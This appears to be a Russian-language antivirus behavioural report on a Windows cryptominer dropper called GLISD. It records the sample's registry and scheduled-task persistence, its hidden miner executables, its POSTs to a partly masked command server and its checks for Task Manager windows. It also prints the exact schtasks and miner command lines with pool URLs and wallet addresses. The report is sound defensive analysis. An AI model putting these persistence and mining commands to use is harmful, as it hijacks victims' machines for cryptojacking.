Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'GLISD' = '%ALLUSERSPROFILE%\Microsoft\GLISD.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\glisd
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\microsoft\glisd.exe
- %TEMP%\tmpb75.tmp.bat
- nul
- %ALLUSERSPROFILE%\screen.jpg
- %ALLUSERSPROFILE%\microsoft\xmr.exe
- %ALLUSERSPROFILE%\microsoft\etc.exe
- %ALLUSERSPROFILE%\microsoft\ton.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %ALLUSERSPROFILE%\microsoft\glisd.exe
- %ALLUSERSPROFILE%\microsoft\xmr.exe
- %ALLUSERSPROFILE%\microsoft\etc.exe
- %ALLUSERSPROFILE%\microsoft\ton.exe
Сетевая активность
Подключается к
- '17#.#08.75.146':80
TCP
Запросы HTTP POST
- http://17#.#08.75.146/main.php
- http://17#.#08.75.146/dl.php
- http://17#.#08.75.146/dlc.php
- http://17#.#08.75.146/dle.php
Другое
Ищет следующие окна
- ClassName: '' WindowName: 'Task Manager'
- ClassName: '' WindowName: 'Диспетчер задач'
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\microsoft\glisd.exe'
- '%ALLUSERSPROFILE%\microsoft\xmr.exe' /c %ALLUSERSPROFILE%//Microsoft//xmr.exe -a cryptonight-heavy --url=pool.hashvault.pro:5555 -u 499ZNmhDJUxWoT2Es6Jjfe9eTfpoDsRQX6QNF1yQtr7LgYAThAydDjPbpJLJt5RtUoSkikpBEsxJXKkm8eJXctTj7YbJx7h -R...
- '%ALLUSERSPROFILE%\microsoft\etc.exe' -pool ssl://eu1-etc.ethermine.org:5555 -wal 0xc14E1FFe83E8D6daF7E448290fa66AF802C7EcC9.Rig001 -coin etc -log 0
- '%ALLUSERSPROFILE%\microsoft\ton.exe' --algo TON --pool https://server1.whalestonpool.com --user EQDCZWFY--dgsf9KwpbsW1OhxANakmKUx1UlrXb7g9K5PSQ0
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc MINUTE /mo 3 /rl highest /tn "GLISD" /tr '"%ALLUSERSPROFILE%\Microsoft\GLISD.exe"' & exit' (со скрытым окном)
- '%ALLUSERSPROFILE%\microsoft\xmr.exe' /c %ALLUSERSPROFILE%//Microsoft//xmr.exe -a cryptonight-heavy --url=pool.hashvault.pro:5555 -u 499ZNmhDJUxWoT2Es6Jjfe9eTfpoDsRQX6QNF1yQtr7LgYAThAydDjPbpJLJt5RtUoSkikpBEsxJXKkm8eJXctTj7YbJx7h -R...' (со скрытым окном)
- '%ALLUSERSPROFILE%\microsoft\etc.exe' -pool ssl://eu1-etc.ethermine.org:5555 -wal 0xc14E1FFe83E8D6daF7E448290fa66AF802C7EcC9.Rig001 -coin etc -log 0' (со скрытым окном)
- '%ALLUSERSPROFILE%\microsoft\ton.exe' --algo TON --pool https://server1.whalestonpool.com --user EQDCZWFY--dgsf9KwpbsW1OhxANakmKUx1UlrXb7g9K5PSQ0' (со скрытым окном)
- '%ALLUSERSPROFILE%\microsoft\glisd.exe' ' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmpB75.tmp.bat""
- '<SYSTEM32>\timeout.exe' 3
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc MINUTE /mo 3 /rl highest /tn "GLISD" /tr '"%ALLUSERSPROFILE%\Microsoft\GLISD.exe"' & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc MINUTE /mo 3 /rl highest /tn "GLISD" /tr '"%ALLUSERSPROFILE%\Microsoft\GLISD.exe"'
- '<SYSTEM32>\taskeng.exe' {298FBF47-5A2A-42F3-A9BB-3CBB11FF2E3B} S-1-5-21-1960123792-2022915161-3775307078-1001:awtygnbamadu\user:Interactive:[1]
